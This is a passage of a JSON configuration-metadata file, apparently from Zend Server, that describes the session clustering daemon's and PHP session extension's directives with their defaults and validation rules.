                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.debug.error_ids_list": {
                "shortDescription": "For Zend Support Only. A comma separated list of error ids. These error ids indicate when to drop the log buffer.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.ha.udp_port": {
                "shortDescription": "Port which is used for broadcasts for things like graceful shutdown and HA.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10070"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.ha.use_broadcast": {
                "shortDescription": "Indicate whether notifications between the cluster daemons should be done using broadcast or unicast.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zend_sc.ha.broadcast_delta": {
                "shortDescription": "The time between broadcasts.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.ha.broadcast_address": {
                "shortDescription": "The broadcast mask.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "255.255.255.255"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.allowed_hosts": {
                "shortDescription": "A comma separated list of IPs or IP masks. These masks indicate with which machines the daemon will both agree to connect to and agree to receive connections from (this list is used for both broadcast and unicast methods).",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zend_sc.ha.cluster_members": {
                "shortDescription": "Comma separated list of IPs to indicate which nodes are members of the cluster (this list is used when the use_broadcast directive is set to 0).",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.session_lifetime": {
                "shortDescription": "The lifetime of a session.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1400"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 600000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zend_sc.garbage_collection_delta": {
                "shortDescription": "The time interval (in seconds) between two executions of the garbage collector.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1440"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 0,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zend_sc.statistics_delta_minutes": {
                "shortDescription": "The time interval (in minutes) between statistics dump to the log file.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "60"
                    }
                ],
                "units": "minutes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.storage.memory_cache_size": {
                "shortDescription": "Specifies the number of bytes for memory caching of sessions.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "800"
                    }
                ],
                "units": "KBytes",
                "validation": {
                    "minValue": 1,
                    "maxValue": 999999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.storage.flush_delta": {
                "shortDescription": "The frequency at which sessions are flushed.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 0,
                    "maxValue": 999999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.storage.save_path": {
                "shortDescription": "The location on the disk where the saved sessions are stored.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "sessions"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.storage.dir_levels": {
                "shortDescription": "Specifies the number of directory levels used in saving files.",
                "type": 3,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:11:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";i:6;s:1:\"6\";i:7;s:1:\"7\";i:8;s:1:\"8\";i:9;s:1:\"9\";i:10;s:2:\"10\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.storage.filename_cache_num_entries": {
                "shortDescription": "The number of entries in an internal cache.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "512"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": 1024,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.message_server_port": {
                "shortDescription": "The port on which the daemon listens for control messages.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "10061"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.graceful_transfer_max_size": {
                "shortDescription": "The maximum size of a chunk of sessions when transferring to the replacment server during a graceful shutdown.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.graceful_max_time": {
                "shortDescription": "The maximum time allowed for a graceful shutdown to take place.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "60"
                    }
                ],
                "units": "minutes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.graceful_transfer_port": {
                "shortDescription": "The port used by the daemon to transfer sessions to its replacement server.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "10063"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.graceful_compress_chunks": {
                "shortDescription": "Compress each check of sessions before transfer.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.graceful_primary_replacement": {
                "shortDescription": "Primary replacement server for graceful shutdown.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.graceful_secondary_replacement": {
                "shortDescription": "Secondary replacement server for graceful shutdown.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.relay_session_timeout": {
                "shortDescription": "Defines the timeout for relay sessions (in seconds). If 0 is set, then no timeout is used.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.use_cpu_load": {
                "shortDescription": "For machine load - use CPU percenatege instead of open connections count.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "session": {
        "name": "session",
        "extensionId": "session",
        "isDaemon": 0,
        "shortDescription": "Session Management",
        "longDescription": "Session support in PHP consists of a way to preserve certain data across subsequent accesses.",
        "iniFileName": "session.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "session.save_handler": {
                "shortDescription": "Name of the handler which is used for storing and retrieving data associate",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.save_path": {
                "shortDescription": "Argument which is passed to the save handler",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.cookie_samesite": {
                "shortDescription": "Directive to force PHP to send the Samesite flag when it sends session cookies",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.use_cookies": {
                "shortDescription": "Using cookies to store the session id on the client side",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.name": {
                "shortDescription": "Name of the session which is used as cookie name",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.auto_start": {
                "shortDescription": "Session auto start",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.cookie_lifetime": {
                "shortDescription": "Cookie lifetime",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 0,
                    "maxValue": 360000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.cookie_path": {
                "shortDescription": "Path to set in session_cookie",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.cookie_domain": {
                "shortDescription": "Domain to set in session_cookie",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.cookie_httponly": {
                "shortDescription": "Access the cookie only through the HTTP protocol",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.use_strict_mode": {
                "shortDescription": "Specifies whether the module will use strict session id mode",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.serialize_handler": {
                "shortDescription": "Session handler for serialize\/deserialize data",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.gc_probability": {
                "shortDescription": "Garbage collection probability",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "%",
                "validation": {
                    "minValue": 0,
                    "maxValue": 100,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.gc_maxlifetime": {
                "shortDescription": "Number of seconds after which data will be seen as garbage and cleaned up",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 0,
                    "maxValue": 50000000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.referer_check": {
                "shortDescription": "Substring you want to check each HTTP Referer for",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.entropy_length": {
                "shortDescription": "Number of bytes which will be read from the file specified above",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "Bytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 99999999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.entropy_file": {
                "shortDescription": "Path to an external resource using as an additional entropy source",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.cache_limiter": {
                "shortDescription": "Cache control method to use for session pages",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:5:{s:4:\"none\";s:4:\"none\";s:7:\"nocache\";s:7:\"nocache\";s:7:\"private\";s:7:\"private\";s:17:\"private_no_expire\";s:17:\"private_no_expire\";s:6:\"public\";s:6:\"public\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.cache_expire": {
                "shortDescription": "Time-to-live for cached session pages in minutes",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "minutes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1440,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.use_trans_sid": {
                "shortDescription": "Whether transparent sid support is enabled or not",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.gc_divisor": {
                "shortDescription": "Probability that the gc process is started on every session initialization",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.hash_function": {
                "shortDescription": "Specify the hash algorithm used to generate the session IDs",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:14:\"MD5 (128 bits)\";i:1;s:16:\"SHA-1 (160 bits)\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.hash_bits_per_character": {
                "shortDescription": "Number of stored bits per character when converting binary hash data",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{i:4;s:8:\"0-9, a-f\";i:5;s:8:\"0-9, a-v\";i:6;s:23:\"0-9, a-z, A-Z, \"-\", \",\"\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "url_rewriter.tags": {
                "shortDescription": "HTML tags are rewritten to include session id",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.use_only_cookies": {
                "shortDescription": "Using only cookies to store the session id on the client side",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.cookie_secure": {
                "shortDescription": "Whether cookies should only be sent over secure connections",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.upload_progress.enabled": {
                "shortDescription": "Enables upload progress tracking, populating the $_SESSION variable. Defaults to 1, enabled.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.upload_progress.cleanup": {
                "shortDescription": "Clean up the progress information as soon as all POST data has been read (i.e. upload completed). Defaults to 1, enabled.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.upload_progress.prefix": {
                "shortDescription": "A prefix used for the upload progress key in the $_SESSION. This key will be concatenated with the value of $_POST[ini_get(\"session.upload_progress.name\")] to provide a unique index. Defaults to \"upload_progress_\". ",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "upload_progress_"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.upload_progress.name": {
                "shortDescription": "The name of the key to be used in $_SESSION storing the progress information. See also session.upload_progress.prefix. If $_POST[ini_get(\"session.upload_progress.name\")] is not passed or available, upload progressing will not be recorded. Defaults to \"PHP_SESSION_UPLOAD_PROGRESS\".",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "PHP_SESSION_UPLOAD_PROGRESS"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.upload_progress.freq": {
                "shortDescription": "Defines how often the upload progress information should be updated. This can be defined in bytes (i.e., \"update progress information after every 100 bytes\"), or in percentages (i.e., \"update progress information after receiving every 1% of the whole file size\"). Defaults to \"1%\". ",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1%"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.upload_progress.min_freq": {
                "shortDescription": "The minimum delay between updates, in seconds. Defaults to \"1\" (one second).",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.lazy_write": {
                "shortDescription": "Only write session data when session data is changed. Enabled by default. http:\/\/php.net\/manual\/en\/session.configuration.php#ini.session.lazy-write",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.sid_bits_per_character": {
                "shortDescription": "Number of bits in encoded session ID character.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "4"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.sid_length": {
                "shortDescription": "Length of session ID string.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "32"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.trans_sid_hosts": {
                "shortDescription": "Specifies which hosts are rewritten to include session id when transparent sid support is enabled.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "$_SERVER['HTTP_HOST']"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "session.trans_sid_tags": {
                "shortDescription": "Specifies which HTML tags are rewritten to include session id when transparent sid support is enabled.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "a=href,area=href,frame=src,input=src,form=form"
                    }
                ],
                "units": "",
                "validation": {
